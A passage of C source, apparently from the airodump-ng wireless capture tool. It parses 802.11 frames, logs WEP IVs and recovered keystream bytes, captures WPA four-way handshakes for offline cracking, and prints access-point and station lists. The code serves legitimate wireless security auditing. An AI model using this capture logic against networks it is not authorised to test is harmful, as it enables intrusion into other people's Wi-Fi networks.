ap_cur->security |= ENC_WEP; break; case 0x02: ap_cur->security |= ENC_TKIP; break; case 0x03: ap_cur->security |= ENC_WRAP; break; case 0x04: ap_cur->security |= ENC_CCMP; break; case 0x05: ap_cur->security |= ENC_WEP104; break; default: break; } } p += 2+4*numuni; for(i=0; i<numauth; i++) { switch(p[i*4+3]) { case 0x01: ap_cur->security |= AUTH_MGT; break; case 0x02: ap_cur->security |= AUTH_PSK; break; default: break; } } p += 2+4*numauth; if( type == 0x30 ) p += 2; p = org_p + length+2; } else if( (type == 0xDD && (length >= 8) && (memcmp(p+2, "\x00\x50\xF2\x02\x01\x01", 6) == 0))) { ap_cur->security |= STD_QOS; p += length+2; } else p += length+2; } } /* packet parsing: Authentication Response */ if( h80211[0] == 0xB0 && caplen >= 30) { if( ap_cur->security & STD_WEP ) { //successful step 2 or 4 (coming from the AP) if(memcmp(h80211+28, "\x00\x00", 2) == 0 && (h80211[26] == 0x02 || h80211[26] == 0x04)) { ap_cur->security &= ~(AUTH_OPN | AUTH_PSK | AUTH_MGT); if(h80211[24] == 0x00) ap_cur->security |= AUTH_OPN; if(h80211[24] == 0x01) ap_cur->security |= AUTH_PSK; } } } /* packet parsing: Association Request */ if( h80211[0] == 0x00 && caplen > 28 ) { p = h80211 + 28; while( p < h80211 + caplen ) { if( p + 2 + p[1] > h80211 + caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' && ( p[1] > 1 || p[2] != ' ' ) ) { /* found a non-cloaked ESSID */ n = ( p[1] > 32 ) ? 32 : p[1]; memset( ap_cur->essid, 0, 33 ); memcpy( ap_cur->essid, p + 2, n ); if( G.f_ivs != NULL && !ap_cur->essid_stored ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags |= IVS2_ESSID; ivs2.len += ap_cur->ssid_length; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } /* write header */ if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } /* write BSSID */ if(ivs2.flags & IVS2_BSSID) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } } /* write essid */ if( fwrite( ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs ) != (size_t) ap_cur->ssid_length ) { perror( "fwrite(IV essid) failed" ); return( 1 ); } ap_cur->essid_stored = 1; } for( i = 0; i < n; i++ ) if( ap_cur->essid[i] < 32 || ( ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160 ) ) ap_cur->essid[i] = '.'; } p += 2 + p[1]; } if(st_cur != NULL) st_cur->wpa.state = 0; } /* packet parsing: some data */ if( ( h80211[0] & 0x0C ) == 0x08 ) { /* update the channel if we didn't get any beacon */ if( ap_cur->channel == -1 ) { if(ri->ri_channel > 0 && ri->ri_channel < 167) ap_cur->channel = ri->ri_channel; else ap_cur->channel = G.channel[cardnum]; } /* check the SNAP header to see if data is encrypted */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; /* Check if 802.11e (QoS) */ if( (h80211[0] & 0x80) == 0x80) { z+=2; if(st_cur != NULL) { if( (h80211[1] & 3) == 1 ) //ToDS st_cur->qos_to_ds = 1; else st_cur->qos_fr_ds = 1; } } else { if(st_cur != NULL) { if( (h80211[1] & 3) == 1 ) //ToDS st_cur->qos_to_ds = 0; else st_cur->qos_fr_ds = 0; } } if(z==24) { if(list_check_decloak(&(ap_cur->packets), caplen, h80211) != 0) { list_add_packet(&(ap_cur->packets), caplen, h80211); } else { ap_cur->is_decloak = 1; ap_cur->decloak_detect = 0; list_tail_free(&(ap_cur->packets)); memset(G.message, '\x00', sizeof(G.message)); snprintf( G.message, sizeof( G.message ) - 1, "][ Decloak: %02X:%02X:%02X:%02X:%02X:%02X ", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5]); } } if( z + 26 > (unsigned)caplen ) goto write_packet; if( h80211[z] == h80211[z + 1] && h80211[z + 2] == 0x03 ) { // if( ap_cur->encryption < 0 ) // ap_cur->encryption = 0; /* if ethertype == IPv4, find the LAN address */ if( h80211[z + 6] == 0x08 && h80211[z + 7] == 0x00 && ( h80211[1] & 3 ) == 0x01 ) memcpy( ap_cur->lanip, &h80211[z + 20], 4 ); if( h80211[z + 6] == 0x08 && h80211[z + 7] == 0x06 ) memcpy( ap_cur->lanip, &h80211[z + 22], 4 ); } // else // ap_cur->encryption = 2 + ( ( h80211[z + 3] & 0x20 ) >> 5 ); if(ap_cur->security == 0 || (ap_cur->security & STD_WEP) ) { if( (h80211[1] & 0x40) != 0x40 ) { ap_cur->security |= STD_OPN; } else { if((h80211[z+3] & 0x20) == 0x20) { ap_cur->security |= STD_WPA; } else { ap_cur->security |= STD_WEP; if( (h80211[z+3] & 0xC0) != 0x00) { ap_cur->security |= ENC_WEP40; } else { ap_cur->security &= ~ENC_WEP40; ap_cur->security |= ENC_WEP; } } } } if( z + 10 > (unsigned)caplen ) goto write_packet; if( ap_cur->security & STD_WEP ) { /* WEP: check if we've already seen this IV */ if( ! uniqueiv_check( ap_cur->uiv_root, &h80211[z] ) ) { /* first time seen IVs */ if( G.f_ivs != NULL ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; /* datalen = caplen - (header+iv+ivs) */ dlen = caplen -z -4 -4; //original data len if(dlen > 2048) dlen = 2048; //get cleartext + len + 4(iv+idx) num_xor = known_clear(clear, &clen, weight, h80211, dlen); if(num_xor == 1) { ivs2.flags |= IVS2_XOR; ivs2.len += clen + 4; /* reveal keystream (plain^encrypted) */ for(n=0; n<(ivs2.len-4); n++) { clear[n] = (clear[n] ^ h80211[z+4+n]) & 0xFF; } //clear is now the keystream } else { //do it again to get it 2 bytes higher num_xor = known_clear(clear+2, &clen, weight, h80211, dlen); ivs2.flags |= IVS2_PTW; //len = 4(iv+idx) + 1(num of keystreams) + 1(len per keystream) + 32*num_xor + 16*sizeof(int)(weight[16]) ivs2.len += 4 + 1 + 1 + 32*num_xor + 16*sizeof(int); clear[0] = num_xor; clear[1] = clen; /* reveal keystream (plain^encrypted) */ for(o=0; o<num_xor; o++) { for(n=0; n<(ivs2.len-4); n++) { clear[2+n+o*32] = (clear[2+n+o*32] ^ h80211[z+4+n]) & 0xFF; } } memcpy(clear+4 + 1 + 1 + 32*num_xor, weight, 16*sizeof(int)); //clear is now the keystream } if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( ivs2.flags & IVS2_BSSID ) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } ivs2.len -= 6; } if( fwrite( h80211+z, 1, 4, G.f_ivs ) != (size_t) 4 ) { perror( "fwrite(IV iv+idx) failed" ); return( 1 ); } ivs2.len -= 4; if( fwrite( clear, 1, ivs2.len, G.f_ivs ) != (size_t) ivs2.len ) { perror( "fwrite(IV keystream) failed" ); return( 1 ); } } uniqueiv_mark( ap_cur->uiv_root, &h80211[z] ); ap_cur->nb_data++; } // Record all data linked to IV to detect WEP Cloaking if( G.f_ivs == NULL && G.detect_anomaly) { // Only allocate this when seeing WEP AP if (ap_cur->data_root == NULL) ap_cur->data_root = data_init(); // Only works with full capture, not IV-only captures if (data_check(ap_cur->data_root, &h80211[z], &h80211[z + 4]) == CLOAKING && ap_cur->EAP_detected == 0) { //If no EAP/EAP was detected, indicate WEP cloaking memset(G.message, '\x00', sizeof(G.message)); snprintf( G.message, sizeof( G.message ) - 1, "][ WEP Cloaking: %02X:%02X:%02X:%02X:%02X:%02X ", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5]); } } } else { ap_cur->nb_data++; } z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; /* Check if 802.11e (QoS) */ if( (h80211[0] & 0x80) == 0x80) z+=2; if( z + 26 > (unsigned)caplen ) goto write_packet; z += 6; //skip LLC header /* check ethertype == EAPOL */ if( h80211[z] == 0x88 && h80211[z + 1] == 0x8E && (h80211[1] & 0x40) != 0x40 ) { ap_cur->EAP_detected = 1; z += 2; //skip ethertype if( st_cur == NULL ) goto write_packet; /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) == 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); st_cur->wpa.state = 1; } /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( z+17+32 > (unsigned)caplen ) goto write_packet; if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) == 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.snonce, &h80211[z + 17], 32 ); st_cur->wpa.state |= 2; } if( (st_cur->wpa.state & 4) != 4 ) { st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (caplen - z < st_cur->wpa.eapol_size || st_cur->wpa.eapol_size == 0 || caplen - z < 81 + 16 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)) { // Ignore the packet trying to crash us. st_cur->wpa.eapol_size = 0; goto write_packet; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); st_cur->wpa.state |= 4; st_cur->wpa.keyver = h80211[z + 6] & 7; } } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) != 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); st_cur->wpa.state |= 1; } if( (st_cur->wpa.state & 4) != 4 ) { st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (caplen - (unsigned)z < st_cur->wpa.eapol_size || st_cur->wpa.eapol_size == 0 || caplen - (unsigned)z < 81 + 16 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)) { // Ignore the packet trying to crash us. st_cur->wpa.eapol_size = 0; goto write_packet; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); st_cur->wpa.state |= 4; st_cur->wpa.keyver = h80211[z + 6] & 7; } } if( st_cur->wpa.state == 7) { memcpy( st_cur->wpa.stmac, st_cur->stmac, 6 ); memcpy( G.wpa_bssid, ap_cur->bssid, 6 ); memset(G.message, '\x00', sizeof(G.message)); snprintf( G.message, sizeof( G.message ) - 1, "][ WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X ", G.wpa_bssid[0], G.wpa_bssid[1], G.wpa_bssid[2], G.wpa_bssid[3], G.wpa_bssid[4], G.wpa_bssid[5]); if( G.f_ivs != NULL ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; ivs2.len= sizeof(struct WPA_hdsk); ivs2.flags |= IVS2_WPA; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( ivs2.flags & IVS2_BSSID ) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } ivs2.len -= 6; } if( fwrite( &(st_cur->wpa), 1, sizeof(struct WPA_hdsk), G.f_ivs ) != (size_t) sizeof(struct WPA_hdsk) ) { perror( "fwrite(IV wpa_hdsk) failed" ); return( 1 ); } } } } } write_packet: if(ap_cur != NULL) { if( h80211[0] == 0x80 && G.one_beacon){ if( !ap_cur->beacon_logged ) ap_cur->beacon_logged = 1; else return ( 0 ); } } if(G.record_data) { if( ( (h80211[0] & 0x0C) == 0x00 ) && ( (h80211[0] & 0xF0) == 0xB0 ) ) { /* authentication packet */ check_shared_key(h80211, caplen); } } if(ap_cur != NULL) { if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { return(1); } if(is_filtered_essid(ap_cur->essid)) { return(1); } } /* this changes the local ap_cur, st_cur and na_cur variables and should be the last check befor the actual write */ if(caplen < 24 && caplen >= 10 && h80211[0]) { /* RTS || CTS || ACK || CF-END || CF-END&CF-ACK*/ //(h80211[0] == 0xB4 || h80211[0] == 0xC4 || h80211[0] == 0xD4 || h80211[0] == 0xE4 || h80211[0] == 0xF4) /* use general control frame detection, as the structure is always the same: mac(s) starting at [4] */ if(h80211[0] & 0x04) { p=h80211+4; while(p <= h80211+16 && p<=h80211+caplen) { memcpy(namac, p, 6); if(memcmp(namac, NULL_MAC, 6) == 0) { p+=6; continue; } if(memcmp(namac, BROADCAST, 6) == 0) { p+=6; continue; } if(G.hide_known) { /* check AP list */ ap_cur = G.ap_1st; ap_prv = NULL; while( ap_cur != NULL ) { if( ! memcmp( ap_cur->bssid, namac, 6 ) ) break; ap_prv = ap_cur; ap_cur = ap_cur->next; } /* if it's an AP, try next mac */ if( ap_cur != NULL ) { p+=6; continue; } /* check ST list */ st_cur = G.st_1st; st_prv = NULL; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, namac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a client, try next mac */ if( st_cur != NULL ) { p+=6; continue; } } /* not found in either AP list or ST list, look through NA list */ na_cur = G.na_1st; na_prv = NULL; while( na_cur != NULL ) { if( ! memcmp( na_cur->namac, namac, 6 ) ) break; na_prv = na_cur; na_cur = na_cur->next; } /* update our chained list of unknown stations */ /* if it's a new mac, add it */ if( na_cur == NULL ) { if( ! ( na_cur = (struct NA_info *) malloc( sizeof( struct NA_info ) ) ) ) { perror( "malloc failed" ); return( 1 ); } memset( na_cur, 0, sizeof( struct NA_info ) ); if( G.na_1st == NULL ) G.na_1st = na_cur; else na_prv->next = na_cur; memcpy( na_cur->namac, namac, 6 ); na_cur->prev = na_prv; gettimeofday(&(na_cur->tv), NULL); na_cur->tinit = time( NULL ); na_cur->tlast = time( NULL ); na_cur->power = -1; na_cur->channel = -1; na_cur->ack = 0; na_cur->ack_old = 0; na_cur->ackps = 0; na_cur->cts = 0; na_cur->rts_r = 0; na_cur->rts_t = 0; } /* update the last time seen & power*/ na_cur->tlast = time( NULL ); na_cur->power = ri->ri_power; na_cur->channel = ri->ri_channel; switch(h80211[0] & 0xF0) { case 0xB0: if(p == h80211+4) na_cur->rts_r++; if(p == h80211+10) na_cur->rts_t++; break; case 0xC0: na_cur->cts++; break; case 0xD0: na_cur->ack++; break; default: na_cur->other++; break; } /*grab next mac (for rts frames)*/ p+=6; } } } if( G.f_cap != NULL && caplen >= 10) { pkh.caplen = pkh.len = caplen; gettimeofday( &tv, NULL ); pkh.tv_sec = tv.tv_sec; pkh.tv_usec = ( tv.tv_usec & ~0x1ff ) + ri->ri_power + 64; n = sizeof( pkh ); if( fwrite( &pkh, 1, n, G.f_cap ) != (size_t) n ) { perror( "fwrite(packet header) failed" ); return( 1 ); } fflush( stdout ); n = pkh.caplen; if( fwrite( h80211, 1, n, G.f_cap ) != (size_t) n ) { perror( "fwrite(packet data) failed" ); return( 1 ); } fflush( stdout ); } return( 0 ); } void dump_sort( void ) { time_t tt = time( NULL ); /* thanks to Arnaud Cornet :-) */ struct AP_info *new_ap_1st = NULL; struct AP_info *new_ap_end = NULL; struct ST_info *new_st_1st = NULL; struct ST_info *new_st_end = NULL; struct ST_info *st_cur, *st_min; struct AP_info *ap_cur, *ap_min; /* sort the aps by WHATEVER first */ while( G.ap_1st ) { ap_min = NULL; ap_cur = G.ap_1st; while( ap_cur != NULL ) { if( tt - ap_cur->tlast > 20 ) ap_min = ap_cur; ap_cur = ap_cur->next; } if( ap_min == NULL ) { ap_min = ap_cur = G.ap_1st; /*#define SORT_BY_BSSID 1 #define SORT_BY_POWER 2 #define SORT_BY_BEACON 3 #define SORT_BY_DATA 4 #define SORT_BY_PRATE 6 #define SORT_BY_CHAN 7 #define SORT_BY_MBIT 8 #define SORT_BY_ENC 9 #define SORT_BY_CIPHER 10 #define SORT_BY_AUTH 11 #define SORT_BY_ESSID 12*/ while( ap_cur != NULL ) { switch (G.sort_by) { case SORT_BY_BSSID: if( memcmp(ap_cur->bssid,ap_min->bssid,6)*G.sort_inv < 0) ap_min = ap_cur; break; case SORT_BY_POWER: if( (ap_cur->avg_power - ap_min->avg_power)*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_BEACON: if( (ap_cur->nb_bcn < ap_min->nb_bcn)*G.sort_inv ) ap_min = ap_cur; break; case SORT_BY_DATA: if( (ap_cur->nb_data < ap_min->nb_data)*G.sort_inv ) ap_min = ap_cur; break; case SORT_BY_PRATE: if( (ap_cur->nb_dataps - ap_min->nb_dataps)*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_CHAN: if( (ap_cur->channel - ap_min->channel)*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_MBIT: if( (ap_cur->max_speed - ap_min->max_speed)*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_ENC: if( ((ap_cur->security&STD_FIELD) - (ap_min->security&STD_FIELD))*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_CIPHER: if( ((ap_cur->security&ENC_FIELD) - (ap_min->security&ENC_FIELD))*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_AUTH: if( ((ap_cur->security&AUTH_FIELD) - (ap_min->security&AUTH_FIELD))*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_ESSID: if( (strncasecmp((char*)ap_cur->essid, (char*)ap_min->essid, MAX_IE_ELEMENT_SIZE))*G.sort_inv < 0 ) ap_min = ap_cur; break; default: //sort by power if( ap_cur->avg_power < ap_min->avg_power) ap_min = ap_cur; break; } ap_cur = ap_cur->next; } } if( ap_min == G.ap_1st ) G.ap_1st = ap_min->next; if( ap_min == G.ap_end ) G.ap_end = ap_min->prev; if( ap_min->next ) ap_min->next->prev = ap_min->prev; if( ap_min->prev ) ap_min->prev->next = ap_min->next; if( new_ap_end ) { new_ap_end->next = ap_min; ap_min->prev = new_ap_end; new_ap_end = ap_min; new_ap_end->next = NULL; } else { new_ap_1st = new_ap_end = ap_min; ap_min->next = ap_min->prev = NULL; } } G.ap_1st = new_ap_1st; G.ap_end = new_ap_end; /* now sort the stations */ while( G.st_1st ) { st_min = NULL; st_cur = G.st_1st; while( st_cur != NULL ) { if( tt - st_cur->tlast > 60 ) st_min = st_cur; st_cur = st_cur->next; } if( st_min == NULL ) { st_min = st_cur = G.st_1st; while( st_cur != NULL ) { if( st_cur->power < st_min->power) st_min = st_cur; st_cur = st_cur->next; } } if( st_min == G.st_1st ) G.st_1st = st_min->next; if( st_min == G.st_end ) G.st_end = st_min->prev; if( st_min->next ) st_min->next->prev = st_min->prev; if( st_min->prev ) st_min->prev->next = st_min->next; if( new_st_end ) { new_st_end->next = st_min; st_min->prev = new_st_end; new_st_end = st_min; new_st_end->next = NULL; } else { new_st_1st = new_st_end = st_min; st_min->next = st_min->prev = NULL; } } G.st_1st = new_st_1st; G.st_end = new_st_end; } int getBatteryState() { return get_battery_state(); } char * getStringTimeFromSec(double seconds) { int hour[3]; char * ret; char * HourTime; char * MinTime; if (seconds <0) return NULL; ret = (char *) calloc(1,256); HourTime = (char *) calloc (1,128); MinTime = (char *) calloc (1,128); hour[0] = (int) (seconds); hour[1] = hour[0] / 60; hour[2] = hour[1] / 60; hour[0] %= 60 ; hour[1] %= 60 ; if (hour[2] != 0 ) snprintf(HourTime, 128, "%d %s", hour[2], ( hour[2] == 1 ) ? "hour" : "hours"); if (hour[1] != 0 ) snprintf(MinTime, 128, "%d %s", hour[1], ( hour[1] == 1 ) ? "min" : "mins"); if ( hour[2] != 0 && hour[1] != 0 ) snprintf(ret, 256, "%s %s", HourTime, MinTime); else { if (hour[2] == 0 && hour[1] == 0) snprintf(ret, 256, "%d s", hour[0] ); else snprintf(ret, 256, "%s", (hour[2] == 0) ? MinTime : HourTime ); } free(MinTime); free(HourTime); return ret; } char * getBatteryString(void) { int batt_time; char * ret; char * batt_string; batt_time = getBatteryState(); if ( batt_time <= 60 ) { ret = (char *) calloc(1,2); ret[0] = ']'; return ret; } batt_string = getStringTimeFromSec( (double) batt_time ); ret = (char *) calloc( 1, 256 ); snprintf( ret, 256, "][ BAT: %s ]", batt_string ); free( batt_string); return ret; } int get_ap_list_count() { time_t tt; struct tm *lt; struct AP_info *ap_cur; int num_ap; tt = time( NULL ); lt = localtime( &tt ); ap_cur = G.ap_end; num_ap = 0; while( ap_cur != NULL ) { /* skip APs with only one packet, or those older than 2 min. * always skip if bssid == broadcast */ if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin || memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->prev; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->prev; continue; } if(is_filtered_essid(ap_cur->essid)) { ap_cur = ap_cur->prev; continue; } num_ap++; ap_cur = ap_cur->prev; } return num_ap; } int get_sta_list_count() { time_t tt; struct tm *lt; struct AP_info *ap_cur; struct ST_info *st_cur; int num_sta; tt = time( NULL ); lt = localtime( &tt ); ap_cur = G.ap_end; num_sta = 0; while( ap_cur != NULL ) { if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin ) { ap_cur = ap_cur->prev; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->prev; continue; } // Don't filter unassociated clients by ESSID if(memcmp(ap_cur->bssid, BROADCAST, 6) && is_filtered_essid(ap_cur->essid)) { ap_cur = ap_cur->prev; continue; } st_cur = G.st_end; while( st_cur != NULL ) { if( st_cur->base != ap_cur || time( NULL ) - st_cur->tlast > G.berlin ) { st_cur = st_cur->prev; continue; } if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) && G.asso_client ) { st_cur = st_cur->prev; continue; } num_sta++; st_cur = st_cur->prev; } ap_cur = ap_cur->prev; } return num_sta; } #define TSTP_SEC 1000000ULL /* It's a 1 MHz clock, so a million ticks per second! */ #define TSTP_MIN (TSTP_SEC * 60ULL) #define TSTP_HOUR (TSTP_MIN * 60ULL) #define TSTP_DAY (TSTP_HOUR * 24ULL) static char *parse_timestamp(unsigned long long timestamp) { static char s[15]; unsigned long long rem; unsigned int days, hours, mins, secs; days = timestamp / TSTP_DAY; rem = timestamp % TSTP_DAY; hours = rem / TSTP_HOUR; rem %= TSTP_HOUR; mins = rem / TSTP_MIN; rem %= TSTP_MIN; secs = rem / TSTP_SEC; snprintf(s, 14, "%3dd %02d:%02d:%02d", days, hours, mins, secs); return s; } void dump_print( int ws_row, int ws_col, int if_num ) { time_t tt; struct tm *lt; int nlines, i, n, len; char strbuf[512]; char buffer[512]; char ssid_list[512]; struct AP_info *ap_cur; struct ST_info *st_cur; struct NA_info *na_cur; int columns_ap = 83; int columns_sta = 74; int columns_na = 68; int num_ap; int num_sta; if(!G.singlechan) columns_ap -= 4; //no RXQ in scan mode if(G.show_uptime) columns_ap += 15; //show uptime needs more space nlines = 2; if( nlines >= ws_row ) return; if(G.do_sort_always) { pthread_mutex_lock( &(G.mx_sort) ); dump_sort(); pthread_mutex_unlock( &(G.mx_sort) ); } tt = time( NULL ); lt = localtime( &tt ); if(G.is_berlin) { G.maxaps = 0; G.numaps = 0; ap_cur = G.ap_end; while( ap_cur != NULL ) { G.maxaps++; if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin || memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->prev; continue; } G.numaps++; ap_cur = ap_cur->prev; } if(G.numaps > G.maxnumaps) G.maxnumaps = G.numaps; // G.maxaps--; } /* * display the channel, battery, position (if we are connected to GPSd) * and current time */ memset( strbuf, '\0', sizeof(strbuf) ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); if(G.freqoption) { snprintf(strbuf, sizeof(strbuf)-1, " Freq %4d", G.frequency[0]); for(i=1; i<if_num; i++) { memset( buffer, '\0', sizeof(buffer) ); snprintf(buffer, sizeof(buffer) , ",%4d", G.frequency[i]); strncat(strbuf, buffer, sizeof(strbuf) - strlen(strbuf) - 1); } } else { snprintf(strbuf, sizeof(strbuf)-1, " CH %2d", G.channel[0]); for(i=1; i<if_num; i++) { memset( buffer, '\0', sizeof(buffer) ); snprintf(buffer, sizeof(buffer) , ",%2d", G.channel[i]); strncat(strbuf, buffer, sizeof(strbuf) - strlen(strbuf) -1); } } memset( buffer, '\0', sizeof(buffer) ); if (G.gps_loc[0]) { snprintf( buffer, sizeof( buffer ) - 1, " %s[ GPS %8.3f %8.3f %8.3f %6.2f " "][ Elapsed: %s ][ %04d-%02d-%02d %02d:%02d ", G.batt, G.gps_loc[0], G.gps_loc[1], G.gps_loc[2], G.gps_loc[3], G.elapsed_time , 1900 + lt->tm_year, 1 + lt->tm_mon, lt->tm_mday, lt->tm_hour, lt->tm_min ); } else { snprintf( buffer, sizeof( buffer ) - 1, " %s[ Elapsed: %s ][ %04d-%02d-%02d %02d:%02d ", G.batt, G.elapsed_time, 1900 + lt->tm_year, 1 + lt->tm_mon, lt->tm_mday, lt->tm_hour, lt->tm_min ); } strncat(strbuf, buffer, (512-strlen(strbuf))); memset( buffer, '\0', 512 ); if(G.is_berlin) { snprintf( buffer, sizeof( buffer ) - 1, " ][%3d/%3d/%4d ", G.numaps, G.maxnumaps, G.maxaps); } strncat(strbuf, buffer, (512-strlen(strbuf))); memset( buffer, '\0', 512 ); if(strlen(G.message) > 0) { strncat(strbuf, G.message, (512-strlen(strbuf))); } //add traling spaces to overwrite previous messages strncat(strbuf, " ", (512-strlen(strbuf))); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); /* print some informations about each detected AP */ nlines += 3; if( nlines >= ws_row ) return; memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); if(G.show_ap) { strbuf[0] = 0; strcat(strbuf, " BSSID PWR "); if(G.singlechan) strcat(strbuf, "RXQ "); strcat(strbuf, " Beacons #Data, #/s CH MB ENC CIPHER AUTH "); if (G.show_uptime) strcat(strbuf, " UPTIME "); strcat(strbuf, "ESSID"); if ( G.show_manufacturer && ( ws_col > (columns_ap - 4) ) ) { // write spaces (32). memset(strbuf+columns_ap, 32, G.maxsize_essid_seen - 5 ); // 5 is the len of "ESSID" snprintf(strbuf+columns_ap+G.maxsize_essid_seen-5, 15,"%s"," MANUFACTURER"); } strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); ap_cur = G.ap_end; if(G.selection_ap) { num_ap = get_ap_list_count(); if(G.selected_ap > num_ap) G.selected_ap = num_ap; } if(G.selection_sta) { num_sta = get_sta_list_count(); if(G.selected_sta > num_sta) G.selected_sta = num_sta; } num_ap = 0; if(G.selection_ap) { G.start_print_ap = G.selected_ap - ((ws_row-1) - nlines) + 1; if(G.start_print_ap < 1) G.start_print_ap = 1; // printf("%i\n", G.start_print_ap); } while( ap_cur != NULL ) { /* skip APs with only one packet, or those older than 2 min. * always skip if bssid == broadcast */ if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin || memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->prev; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->prev; continue; } if(is_filtered_essid(ap_cur->essid)) { ap_cur = ap_cur->prev; continue; } num_ap++; if(num_ap < G.start_print_ap) { ap_cur = ap_cur->prev; continue; } nlines++; if( nlines > (ws_row-1) ) return; memset(strbuf, '\0', sizeof(strbuf)); snprintf( strbuf, sizeof(strbuf), " %02X:%02X:%02X:%02X:%02X:%02X", 